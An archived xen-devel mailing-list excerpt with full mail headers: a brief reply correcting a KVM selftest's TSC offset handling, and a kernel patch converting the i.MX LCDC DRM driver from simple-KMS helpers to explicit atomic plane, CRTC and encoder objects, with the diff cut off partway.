 for xen-devel@lists.xenproject.org; Sun, 26 Jul 2026 09:22:00 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wnv3V-00EMSs-Na; Sun, 26 Jul 2026 11:21:57 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <BATV+6ceaf79e9f962195886c+8372+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 6a65d18f-2eae-0a2a0a5409dd-0a2a45068a38-16
 for <multiple-recipients>; Sun, 26 Jul 2026 11:21:57 +0200
Received: from [90.155.50.34] (helo=casper.infradead.org)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <BATV+6ceaf79e9f962195886c+8372+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 6a65d1b4-195a-0a2a45060019-5a9b3222b828-3
 for <multiple-recipients>; Sun, 26 Jul 2026 11:21:56 +0200
Received: from [2001:8b0:10b:5:a27d:af29:92b0:e23b]
 (helo=u09cd745991455d.ant.amazon.com)
 by casper.infradead.org with esmtpsa (Exim 4.99.1 #2 (Red Hat Linux))
 id 1wnv3E-00000007xME-1PzU; Sun, 26 Jul 2026 09:21:41 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=casper.20170209 header.d=infradead.org header.i="@infradead.org" header.h="MIME-Version:Content-Type:References:In-Reply-To:Date:To:From:Subject:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=casper.20170209; h=MIME-Version:Content-Type:References:
	In-Reply-To:Date:To:From:Subject:Message-ID:Sender:Reply-To:Cc:
	Content-Transfer-Encoding:Content-ID:Content-Description;
	bh=47qSfn/5vYOLxCdOxeS/8loMTxL80ncmUeTv+Pc8G2E=; b=pfTTZANuvUBaGlY7vTshpctt1O
	mHsNneO8ZzsxwiM1WhMXYB0jSLysSGxlyawI8x/W8Du86/V51reGIiNI1AFHhLmAqvnKnx4L3ckuy
	2EE6jHK/L1tN+2xddcwNd+ZvPhXOSrRypGjn95bmSqLoVKK+Dbc1Fc3waTrJA4QOKfuVMMcdZGhpn
	Q78hNiM6MEx/vHAZntFdziw1dBK4bVyI+vU8TbfQmwSeH+SDe45fMZxcnotLTtyM+VBeHlKE0pHDp
	5dhydCnlhFEkhpR+5+8XqrEKWVmimlP/331iOddK+fuyBvS78+suDjyaxi6n/33Js01SPMMVO6XWL
	jZDZxCHA==;
Message-ID: <c882f5474712a4fc4ac7383281b1d76b0111b5b2.camel@infradead.org>
Subject: Re: [PATCH v6 31/36] KVM: selftests: Add Xen runstate migration test
From: David Woodhouse <dwmw2@infradead.org>
To: Paolo Bonzini <pbonzini@redhat.com>, Jonathan Corbet <corbet@lwn.net>, 
 Shuah Khan <skhan@linuxfoundation.org>, Sean Christopherson
 <seanjc@google.com>, Thomas Gleixner	 <tglx@kernel.org>, Ingo Molnar
 <mingo@redhat.com>, Borislav Petkov <bp@alien8.de>,  Dave Hansen
 <dave.hansen@linux.intel.com>, x86@kernel.org, "H. Peter Anvin"
 <hpa@zytor.com>, Vitaly Kuznetsov <vkuznets@redhat.com>, Juergen Gross
 <jgross@suse.com>, Boris Ostrovsky	 <boris.ostrovsky@oracle.com>, Paul
 Durrant <paul@xen.org>, Jonathan Cameron	 <jic23@kernel.org>, Sascha
 Bischoff <Sascha.Bischoff@arm.com>, Marc Zyngier	 <maz@kernel.org>, Joey
 Gouly <joey.gouly@arm.com>, Jack Allister	 <jalliste@amazon.com>, Dongli
 Zhang <dongli.zhang@oracle.com>, 	joe.jin@oracle.com, kvm@vger.kernel.org,
 linux-doc@vger.kernel.org, 	linux-kernel@vger.kernel.org,
 xen-devel@lists.xenproject.org, 	linux-kselftest@vger.kernel.org
Date: Sun, 26 Jul 2026 10:21:39 +0100
In-Reply-To: <20260703212145.343527-32-dwmw2@infradead.org>
References: <20260703212145.343527-1-dwmw2@infradead.org>
	 <20260703212145.343527-32-dwmw2@infradead.org>
Content-Type: multipart/signed; micalg="sha-256"; protocol="application/pkcs7-signature";
	boundary="=-+nOCVLe2wi4KnKq20Z5E"
User-Agent: Evolution 3.60.3-0ubuntu1~ppa9~24.04 
MIME-Version: 1.0
X-SRS-Rewrite: SMTP reverse-path rewritten from <dwmw2@infradead.org> by casper.infradead.org. See http://www.infradead.org/rpr.html
X-purgate-ID: tlsNG-16d1c6/1785057717-F647377B-A1A7988C/0/0
X-purgate-type: clean
X-purgate-size: 9117


--=-+nOCVLe2wi4KnKq20Z5E
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable

On Fri, 2026-07-03 at 22:18 +0100, David Woodhouse wrote:
>=20
> +	/* Restore TSC offset */
> +	vcpu_set_msr(vcpu, MSR_IA32_TSC_ADJUST, tsc_offset);

Huh, what nonsense is this? That's for the guest to use. The test
should use KVM_VCPU_TSC_OFFSET. Not quite sure how that ever worked.

Fixed in the kvmclock7 branch.


--=-+nOCVLe2wi4KnKq20Z5E
Content-Type: application/pkcs7-signature; name="smime.p7s"
Content-Disposition: attachment; filename="smime.p7s"
Content-Transfer-Encoding: base64

MIAGCSqGSIb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DQEJEAILMXigdjBiMQsw
CQYDVQQGEwJVUzEXMBUGA1UEChMORGlnaUNlcnQsIEluYy4xOjA4BgNVBAMTMURpZ2lDZXJ0IEFz
c3VyZWQgRzIgU01JTUUgUlNBNDA5NiBTSEEzODQgMjAyNCBDQTECEAM1KLa7MmyR8R04yjiFXSAw
DQYJKoZIhvcNAQEBBQAEggIAAvcNvfx4qc7lCk36sizP7ojCRgv3pJ85n5BeRVN62NURXSQzkbAX
gYQ04+aoskxv5gmm7xU2q8dI0t18NAh1aXLapGHXbn6NlcyP0NNqsXubYdA/m6uIPGpY08QoZ6Ix
6DCvNQwT6jvYNiVjeDnrtSbg/lCC6fFvBSSlVRvzLEyMBIAuJ86AU+Pi0QjBOcrQu+k1TyGkrbgW
2OhxjdWsvH+CCmdtCgjo50lKHHEZawUvYWy/ScuhzZQzYn8M1BbTLaTUy2tDubDsljlvpMCuRLW+
YXATIw+7XxdCbkn1ENMqfdfgrn9zToykHiHAFi/G95D25AYaWjdKhRdODwb4Nn9bukZ0xGB9f//S
JR3rEXJydLE3noNjbPgmkz+06u0i1cBmivZw4M8H0ue2fsrpulgXT+ESNSsRcUUpDH+Fl7lH9I3D
9xTxum9JgiE/CFeeUUj2qqYVX/kMtpV5fUH+ReOohvhEnJn12DPyJSAkxp8KmsSmeppJsiijwCDi
a4JhIL7WZ3f3o5w5VhIhrikpkTzpUY1qOlzYs+Nh1A+7rJqD5BmnDurYGPPUiGQGV8b8A9hasxU8
oNdm18x+izQbZJ9ZijtzMWnO1jnX/5OdTzAcg42OQ8IblFo3T/ln3gAqmz0hLOS1rPOM87JITJhz
d9AQ0thgZQ9yAao4jItM7R8AAAAAAAA=


--=-+nOCVLe2wi4KnKq20Z5E--


From xen-devel-bounces@lists.xenproject.org Sun Jul 26 19:44:05 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Sun, 26 Jul 2026 19:44:05 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1371184.1618837 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wo4lQ-0003y5-RH; Sun, 26 Jul 2026 19:43:56 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1371184.1618837; Sun, 26 Jul 2026 19:43:56 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wo4lQ-0003xw-Nz; Sun, 26 Jul 2026 19:43:56 +0000
Received: by outflank-mailman (input) for mailman id 1371184;
 Sun, 26 Jul 2026 19:43:55 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <ze.huang@oss.qualcomm.com>) id 1wo4lP-0003x0-5N
 for xen-devel@lists.xenproject.org; Sun, 26 Jul 2026 19:43:55 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wo4lO-00Gt1t-Ib
 for xen-devel@lists.xenproject.org; Sun, 26 Jul 2026 21:43:54 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <ze.huang@oss.qualcomm.com>)
 id 6a66635a-2eae-0a2a0a5409dd-0a2a450ac6e2-16
 for <xen-devel@lists.xenproject.org>; Sun, 26 Jul 2026 21:43:54 +0200
Received: from [205.220.168.131] (helo=mx0a-0031df01.pphosted.com)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <ze.huang@oss.qualcomm.com>)
 id 6a666378-f2d2-0a2a450a0019-cddca8837962-3
 for <xen-devel@lists.xenproject.org>; Sun, 26 Jul 2026 21:43:54 +0200
Received: from pps.filterd (m0279867.ppops.net [127.0.0.1])
 by mx0a-0031df01.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66QH6seM2352400
 for <xen-devel@lists.xenproject.org>; Sun, 26 Jul 2026 19:43:52 GMT
Received: from mail-pg1-f199.google.com (mail-pg1-f199.google.com
 [209.85.215.199])
 by mx0a-0031df01.pphosted.com (PPS) with ESMTPS id 4fmjufuskh-1
 (version=TLSv1.3 cipher=TLS_AES_128_GCM_SHA256 bits=128 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Sun, 26 Jul 2026 19:43:51 +0000 (GMT)
Received: by mail-pg1-f199.google.com with SMTP id
 41be03b00d2f7-ca8aee88725so3145158a12.3
 for <xen-devel@lists.xenproject.org>; Sun, 26 Jul 2026 12:43:51 -0700 (PDT)
Received: from le-cd01-lnx.qualcomm.com ([114.94.8.21])
 by smtp.gmail.com with ESMTPSA id
 41be03b00d2f7-cbbb66dcd38sm2312070a12.29.2026.07.26.12.43.42
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Sun, 26 Jul 2026 12:43:50 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=qcppdkim1 header.d=qualcomm.com header.i="@qualcomm.com" header.h="Cc:Content-Transfer-Encoding:Content-Type:Date:From:In-Reply-To:Message-Id:MIME-Version:References:Subject:To"; dkim=pass header.s=google header.d=oss.qualcomm.com header.i="@oss.qualcomm.com" header.h="Cc:To:In-Reply-To:References:Message-Id:Content-Transfer-Encoding:Content-Type:MIME-Version:Subject:Date:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=qualcomm.com; h=
	cc:content-transfer-encoding:content-type:date:from:in-reply-to
	:message-id:mime-version:references:subject:to; s=qcppdkim1; bh=
	Cnh9LuBe1nllVe6dn8rg7eH465Ab2ZOSgYQD7jgYRGs=; b=FzmefLSAtCzjOw1O
	w5jZRHtTqcNmdCEbNAnp16PtSUDvWIUJC0qM8+au1Dp61p66KI8YSDV5Ip+KqE2e
	frpwLESANXukoVrYMx7134xo2jY2RrLU5q3ciQl8SjrDWLQM4OrUsT5rCjkHAd7U
	xLnteKCIZsZC1qjUg7zJlTkLTp9s1e714h2k0eaDBx/GC8loP9i835jHar9MFvKm
	r3HL6nToWnZOrJ4DhsVhlzaRfKA1c8zvypWtGnJNNGWYzWwFQOnsdTZpIG0ge/av
	lyrf87hevYx+bMwcsgWERbvaE0ntjJMyhE5J8YZT4DXlYMlVDBtkQ1n245TvOMrD
	vYF2Tg==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=oss.qualcomm.com; s=google; t=1785095031; x=1785699831; darn=lists.xenproject.org;
        h=cc:to:in-reply-to:references:message-id:content-transfer-encoding
         :content-type:mime-version:subject:date:from:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=Cnh9LuBe1nllVe6dn8rg7eH465Ab2ZOSgYQD7jgYRGs=;
        b=bHyA8NqbfotV/A2VK/VGxIFDuGZuGANnUwDm4Gm3VjHGURb8zw7D/tZ0HHPZHzkT/Y
         LOPqTTzoufx5yqSZJ+eNpoVO9CI6pX1mtyCeiR6Zn+nPiqJIeGf38EYHWa97Y5iRDfkK
         L3HHnQ6NjKe5GU9sV6vA5UCR6V8AgNQhN7qM0b5+CE6onhZxFeNz/DcMJn2c5wDERDA0
         a71lPjuko2UEtOujXn+YGVp5vyF/aDjqIkeP+sgBa1AcMi1EM5+PNiLfZruw2NKT2LFs
         UPZl9Ya7NSNNn3iUay9HmQAYH5VqsGbqYlpaiGYCGyX7LCpj9mrlSf6sYc/IlwCo/G1d
         BjsQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785095031; x=1785699831;
        h=cc:to:in-reply-to:references:message-id:content-transfer-encoding
         :content-type:mime-version:subject:date:from:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=Cnh9LuBe1nllVe6dn8rg7eH465Ab2ZOSgYQD7jgYRGs=;
        b=eXUL4U/tVSmGUWqYsa44pwnYZsqlT3cm47Ktzs15023P4wAbHoJTPtGlBBa+FxSG2x
         cyo8zpX7uH+gbeuhZrdp+sh7bUDMKboAXYUiPJOxKMV4r1DYRdhuE8EQg2FQDgaPlV8F
         4aOiKM+TW3EOsC7hP1vZJCMSQb9XhMVPeDKCHrj8rBdcaCVQJhfmoDaNYKWvxKmpo+Vw
         2+C+8+JHFAVX9Ro9QpHrxGYngiKiwyy8osOdu87vBqn46tejm48CGhXC0o+n0aEFTXSO
         BorP+yBr4Zp2vA8rgZmyOHEE3KpsW3hBHZK7lrwO3wtpZwY/TlmTU42J+MTx5BSzBsuh
         Q4dw==
X-Forwarded-Encrypted: i=1; AHgh+RqzzXxTrt1v81wMKLFHdPxZ7YXhCAH7LzR13IBn1+tbPPZx8QLt1ClVLRSvi7eqLOYGToeEIsRonGk=@lists.xenproject.org
X-Gm-Message-State: AOJu0YwUiUieOaKIHyNnznWZ9MvbAYvR5Qo4rqk2jngUEdS1chTsJ/iY
	AIN1wP1iNZDsRJEjCisJtLq9+8c4BDvZ70wIuo4XhXxcIT1/bHAsLh4oYTy0Q2+S7vetDptZd46
	lUH9If/u5OdOMpeyNm6AIWj2ta9oCKiBTGObSyM4Jb6auZldHoSsgxv5AvjKYOgrREVqp+w==
X-Gm-Gg: AR+sD136HCqX0bdS3doRLiMnI3oxMJ+UzVuiQxMO+nCFfZXtB0mbzi/AG9sDLAUR7yK
	PbvDEG8BykWHkxL4rzsSPLp0SanYgfbuoZjyKxN4gf4DFrJoJ+DOelR32oXU/TnSMIj3e9kpYlG
	83r2sYuHXiRARiNgOscZcTZsrUnFieL3w/f1bs8Kx14xMZzAonnzzDgvYC/GHoD+yz6YQVkhJNk
	AkqsYl6jp3WipsT4feVv+LgMaluVI85WnksKM2rMxTAcqzqenFBYZ3YwWQDRnRNN/IzdNuX8g3g
	OlOXXEl2mZq+jLTanYqW0S4OFgYmHejJCZMu57utPiwO+550xJO6WX0kFX5I6IVdeLrDa2qfbro
	Z9VtW/jj1H++VI8AaZ5lN
X-Received: by 2002:a05:6a20:ce43:b0:3c3:dce5:b1a0 with SMTP id adf61e73a8af0-3c67e133c1dmr6000529637.64.1785095031133;
        Sun, 26 Jul 2026 12:43:51 -0700 (PDT)
X-Received: by 2002:a05:6a20:ce43:b0:3c3:dce5:b1a0 with SMTP id adf61e73a8af0-3c67e133c1dmr6000492637.64.1785095030649;
        Sun, 26 Jul 2026 12:43:50 -0700 (PDT)
From: Ze Huang <ze.huang@oss.qualcomm.com>
Date: Mon, 27 Jul 2026 03:42:33 +0800
Subject: [PATCH v3 2/2] drm/imx: replace struct drm_simple_display_pipe
 with regular atomic helpers
MIME-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
Message-Id: <20260727-drm-simple-kms-removal-v3-2-de36e534f7a1@oss.qualcomm.com>
References: <20260727-drm-simple-kms-removal-v3-0-de36e534f7a1@oss.qualcomm.com>
In-Reply-To: <20260727-drm-simple-kms-removal-v3-0-de36e534f7a1@oss.qualcomm.com>
To: Alexey Brodkin <abrodkin@synopsys.com>,
        Maarten Lankhorst <maarten.lankhorst@linux.intel.com>,
        Maxime Ripard <mripard@kernel.org>,
        Thomas Zimmermann <tzimmermann@suse.de>,
        David Airlie <airlied@gmail.com>, Simona Vetter <simona@ffwll.ch>,
        Joel Stanley <joel@jms.id.au>,
        Andrew Jeffery <andrew@codeconstruct.com.au>,
        Frank Li <Frank.Li@nxp.com>, Sascha Hauer <s.hauer@pengutronix.de>,
        Pengutronix Kernel Team <kernel@pengutronix.de>,
        Fabio Estevam <festevam@gmail.com>, Linus Walleij <linusw@kernel.org>,
        Hans de Goede <hansg@kernel.org>,
        Alex Lanzano <lanzano.alex@gmail.com>,
        Oleksandr Andrushchenko <oleksandr_andrushchenko@epam.com>,
        Philipp Zabel <p.zabel@pengutronix.de>,
        =?utf-8?q?Uwe_Kleine-K=C3=B6nig?= <u.kleine-koenig@pengutronix.de>,
        Marian Cichy <m.cichy@pengutronix.de>
Cc: dri-devel@lists.freedesktop.org, linux-kernel@vger.kernel.org,
        linux-aspeed@lists.ozlabs.org, linux-arm-kernel@lists.infradead.org,
        imx@lists.linux.dev, xen-devel@lists.xenproject.org,
        Ze Huang <ze.huang@oss.qualcomm.com>
X-Mailer: b4 0.14.3
X-Developer-Signature: v=1; a=ed25519-sha256; t=1785095005; l=17703;
 i=ze.huang@oss.qualcomm.com; s=20260716; h=from:subject:message-id;
 bh=ii7D7fVwMZnTOsCdry61t18Iyruc6rBN0buH4kXzP+A=;
 b=rMjPpwlvOZ8uxGZ3bMH3pDWt0BN6+82F2BNkMU6Kx2gIMw+MXmvUrDU5uaQuTOq5ii2IiEnoX
 /9/3teg1E6oDpDSEJoOeu7dMhff4ReKw6BEADbivI8wb7g7q1YilJ+Y
X-Developer-Key: i=ze.huang@oss.qualcomm.com; a=ed25519;
 pk=8uGhlZHInA8NXq7G6u/g59qEcwXwuMRI7nBSnT/ijtY=
X-Proofpoint-ORIG-GUID: jaU1tAPXlJXAHw_d8cNQhU1Jh0b4Pl5z
X-Proofpoint-Spam-Info: AW1haW4tMjYwNzI2MDIwMCBTYWx0ZWRfXwth66PInVJug
 xsZDTAjW3E7yIAjCcT9RaIkve/9lBf+kNc/OvRmW5fWvtJVVuIQ/HH8fU5JTspz03M5ajibIkhR
 oP17oVe/mER4Xj8TfXYsBVNrPEnoOSU=
X-Proofpoint-GUID: jaU1tAPXlJXAHw_d8cNQhU1Jh0b4Pl5z
X-Proofpoint-Spam-Details-Enc: AW1haW4tMjYwNzI2MDIwMCBTYWx0ZWRfX+Iu78sr3eNxI
 TjO/2a7oj7K13/sg4og1Eep4SrvnPbDnpSKNFflL12nUKSt8vsUR2SSyfTxlmZpSrlceYMe9rsv
 1sfT2GNWwnSaVQH+e7NITy9VUkA05FmODjfzmYnjJYhLjtZ5feCeTLLckk9PlfVD65KW6icypZm
 bQ3MZWhdoqPq1U7X6CMgz3t9XkV0v3VcO3mOjIkHA8IQtsEQki9Hmf/3n1oo08jYVJxc2ZcLWpb
 Hu4yaXhhpEwm+z7ocjTSWUN/jG6k7ksMS9a9w95xgzGxehwz2R25F9cdW2NRPpqVz9PET93iD2d
 y1hDdP6rSazXJF/8mAdlrgGdjo9OLOa2RkRhl5gCR7kO00tgE1zaLvxWgiNchc1E2nK+6NyBDOU
 4ZF/Lm22zYMbAdXG34jwiuJt91/2uPfGjZ2BRgeGwxYhfd33dLGJkDfHB6eja88uL/kgC7DXMr4
 dh7l4DxeUcZaOhIpWZA==
X-Authority-Analysis: v=2.4 cv=F5ZnsKhN c=1 sm=1 tr=0 ts=6a666377 cx=c_pps
 a=Oh5Dbbf/trHjhBongsHeRQ==:117 a=Uz3yg00KUFJ2y2WijEJ4bw==:17
 a=IkcTkHD0fZMA:10 a=RAioF0-LDSMA:10 a=s4-Qcg_JpJYA:10
 a=VkNPw1HP01LnGYTKEx00:22 a=u7WPNUs3qKkmUXheDGA7:22 a=eoimf2acIAo5FJnRuUoq:22
 a=EUspDBNiAAAA:8 a=1bWX6k_Zg_mReU0a2YEA:9 a=QEXdDO2ut3YA:10
 a=_Vgx9l1VpLgwpw_dHYaR:22
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-26_05,2026-07-24_02,2025-10-01_01
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0
 adultscore=0 lowpriorityscore=0 priorityscore=1501 phishscore=0 bulkscore=0
 spamscore=0 malwarescore=0 suspectscore=0 clxscore=1015 impostorscore=0
 classifier=typeunknown authscore=0 authtc= authcc= route=outbound adjust=0
 reason=mlx scancount=1 engine=8.22.0-2606150000 definitions=main-2607260200
X-purgate-ID: tlsNG-4011c0/1785095034-53ED2CFC-3280E7B5/0/0
X-purgate-type: clean
X-purgate-size: 17705

Convert i.MX LCDC to explicit primary plane, CRTC and encoder objects.
Keep no-scaling plane check and GEM framebuffer prepare callback from
simple-KMS path.

Wire the vblank lifecycle explicitly with CRTC vblank callbacks and
drm_crtc_vblank_on()/drm_crtc_vblank_off(). Use the old CRTC state in the
disable path for clock unwinding so the clock reference count remains
paired with the previous active state.

Signed-off-by: Ze Huang <ze.huang@oss.qualcomm.com>
---
 drivers/gpu/drm/imx/lcdc/imx-lcdc.c | 264 ++++++++++++++++++++++++++----------
 1 file changed, 190 insertions(+), 74 deletions(-)

diff --git a/drivers/gpu/drm/imx/lcdc/imx-lcdc.c b/drivers/gpu/drm/imx/lcdc/imx-lcdc.c
index 81024f7d9e96..4835f01954f7 100644
--- a/drivers/gpu/drm/imx/lcdc/imx-lcdc.c
+++ b/drivers/gpu/drm/imx/lcdc/imx-lcdc.c
@@ -2,6 +2,7 @@
 // SPDX-FileCopyrightText: 2020 Marian Cichy <M.Cichy@pengutronix.de>
 
 #include <drm/clients/drm_client_setup.h>
+#include <drm/drm_atomic.h>
 #include <drm/drm_bridge.h>
 #include <drm/drm_bridge_connector.h>
 #include <drm/drm_damage_helper.h>
@@ -14,9 +15,9 @@
 #include <drm/drm_gem_dma_helper.h>
 #include <drm/drm_gem_framebuffer_helper.h>
 #include <drm/drm_of.h>
+#include <drm/drm_plane_helper.h>
 #include <drm/drm_print.h>
 #include <drm/drm_probe_helper.h>
-#include <drm/drm_simple_kms_helper.h>
 #include <drm/drm_vblank.h>
 #include <linux/bitfield.h>
 #include <linux/clk.h>
@@ -102,7 +103,9 @@
 
 struct imx_lcdc {
 	struct drm_device drm;
-	struct drm_simple_display_pipe pipe;
+	struct drm_plane plane;
+	struct drm_crtc crtc;
+	struct drm_encoder encoder;
 	struct drm_connector *connector;
 	void __iomem *base;
 
@@ -135,14 +138,15 @@ static unsigned int imx_lcdc_get_format(unsigned int drm_format)
 	}
 }
 
-static void imx_lcdc_update_hw_registers(struct drm_simple_display_pipe *pipe,
-					 struct drm_plane_state *old_state,
+static void imx_lcdc_update_hw_registers(struct drm_crtc *crtc,
+					 struct drm_crtc_state *old_crtc_state,
+					 struct drm_crtc_state *new_crtc_state,
+					 struct drm_plane_state *new_state,
 					 bool mode_set)
 {
-	struct drm_crtc *crtc = &pipe->crtc;
-	struct drm_plane_state *new_state = pipe->plane.state;
+	struct imx_lcdc *lcdc = imx_lcdc_from_drmdev(crtc->dev);
+	const struct drm_display_mode *mode = &new_crtc_state->mode;
 	struct drm_framebuffer *fb = new_state->fb;
-	struct imx_lcdc *lcdc = imx_lcdc_from_drmdev(pipe->crtc.dev);
 	u32 lpcr, lvcr, lhcr;
 	u32 framesize;
 	dma_addr_t addr;
@@ -155,24 +159,24 @@ static void imx_lcdc_update_hw_registers(struct drm_simple_display_pipe *pipe,
 		return;
 
 	/* Disable PER clock to make register write possible */
-	if (old_state && old_state->crtc && old_state->crtc->enabled)
+	if (old_crtc_state && old_crtc_state->enable)
 		clk_disable_unprepare(lcdc->clk_per);
 
 	/* Framesize */
-	framesize = FIELD_PREP(IMX21LCDC_LSR_XMAX, crtc->mode.hdisplay >> 4) |
-		FIELD_PREP(IMX21LCDC_LSR_YMAX, crtc->mode.vdisplay);
+	framesize = FIELD_PREP(IMX21LCDC_LSR_XMAX, mode->hdisplay >> 4) |
+		FIELD_PREP(IMX21LCDC_LSR_YMAX, mode->vdisplay);
 	writel(framesize, lcdc->base + IMX21LCDC_LSR);
 
 	/* HSYNC */
-	lhcr = FIELD_PREP(IMX21LCDC_LHCR_HFPORCH, crtc->mode.hsync_start - crtc->mode.hdisplay - 1) |
-		FIELD_PREP(IMX21LCDC_LHCR_HWIDTH, crtc->mode.hsync_end - crtc->mode.hsync_start - 1) |
-		FIELD_PREP(IMX21LCDC_LHCR_HBPORCH, crtc->mode.htotal - crtc->mode.hsync_end - 3);
+	lhcr = FIELD_PREP(IMX21LCDC_LHCR_HFPORCH, mode->hsync_start - mode->hdisplay - 1) |
+		FIELD_PREP(IMX21LCDC_LHCR_HWIDTH, mode->hsync_end - mode->hsync_start - 1) |
+		FIELD_PREP(IMX21LCDC_LHCR_HBPORCH, mode->htotal - mode->hsync_end - 3);
 	writel(lhcr, lcdc->base + IMX21LCDC_LHCR);
 
 	/* VSYNC */
-	lvcr = FIELD_PREP(IMX21LCDC_LVCR_VFPORCH, crtc->mode.vsync_start - crtc->mode.vdisplay) |
-		FIELD_PREP(IMX21LCDC_LVCR_VWIDTH, crtc->mode.vsync_end - crtc->mode.vsync_start) |
-		FIELD_PREP(IMX21LCDC_LVCR_VBPORCH, crtc->mode.vtotal - crtc->mode.vsync_end);
+	lvcr = FIELD_PREP(IMX21LCDC_LVCR_VFPORCH, mode->vsync_start - mode->vdisplay) |
+		FIELD_PREP(IMX21LCDC_LVCR_VWIDTH, mode->vsync_end - mode->vsync_start) |
+		FIELD_PREP(IMX21LCDC_LVCR_VBPORCH, mode->vtotal - mode->vsync_end);
 	writel(lvcr, lcdc->base + IMX21LCDC_LVCR);
 
 	lpcr = readl(lcdc->base + IMX21LCDC_LPCR);
@@ -184,19 +188,20 @@ static void imx_lcdc_update_hw_registers(struct drm_simple_display_pipe *pipe,
 	writel(new_state->fb->pitches[0] / 4, lcdc->base + IMX21LCDC_LVPWR);
 
 	/* Enable PER clock */
-	if (new_state->crtc->enabled)
+	if (new_crtc_state->enable)
 		clk_prepare_enable(lcdc->clk_per);
 }
 
-static void imx_lcdc_pipe_enable(struct drm_simple_display_pipe *pipe,
-				 struct drm_crtc_state *crtc_state,
-				 struct drm_plane_state *plane_state)
+static void imx_lcdc_crtc_helper_atomic_enable(struct drm_crtc *crtc,
+					       struct drm_atomic_commit *commit)
 {
 	int ret;
 	int clk_div;
 	int bpp;
-	struct imx_lcdc *lcdc = imx_lcdc_from_drmdev(pipe->crtc.dev);
-	struct drm_display_mode *mode = &pipe->crtc.mode;
+	struct imx_lcdc *lcdc = imx_lcdc_from_drmdev(crtc->dev);
+	struct drm_crtc_state *cstate = drm_atomic_get_new_crtc_state(commit, crtc);
+	struct drm_plane_state *pstate = drm_atomic_get_new_plane_state(commit, &lcdc->plane);
+	struct drm_display_mode *mode = &cstate->mode;
 	struct drm_display_info *disp_info = &lcdc->connector->display_info;
 	const int hsync_pol = (mode->flags & DRM_MODE_FLAG_PHSYNC) ? 0 : 1;
 	const int vsync_pol = (mode->flags & DRM_MODE_FLAG_PVSYNC) ? 0 : 1;
@@ -207,7 +212,7 @@ static void imx_lcdc_pipe_enable(struct drm_simple_display_pipe *pipe,
 
 	clk_div = DIV_ROUND_CLOSEST_ULL(clk_get_rate(lcdc->clk_per),
 					mode->clock * 1000);
-	bpp = imx_lcdc_get_format(plane_state->fb->format->format);
+	bpp = imx_lcdc_get_format(pstate->fb->format->format);
 
 	writel(FIELD_PREP(IMX21LCDC_LPCR_PCD, clk_div - 1) |
 	       FIELD_PREP(IMX21LCDC_LPCR_LPPOL, hsync_pol) |
@@ -231,40 +236,46 @@ static void imx_lcdc_pipe_enable(struct drm_simple_display_pipe *pipe,
 
 	ret = clk_prepare_enable(lcdc->clk_ipg);
 	if (ret) {
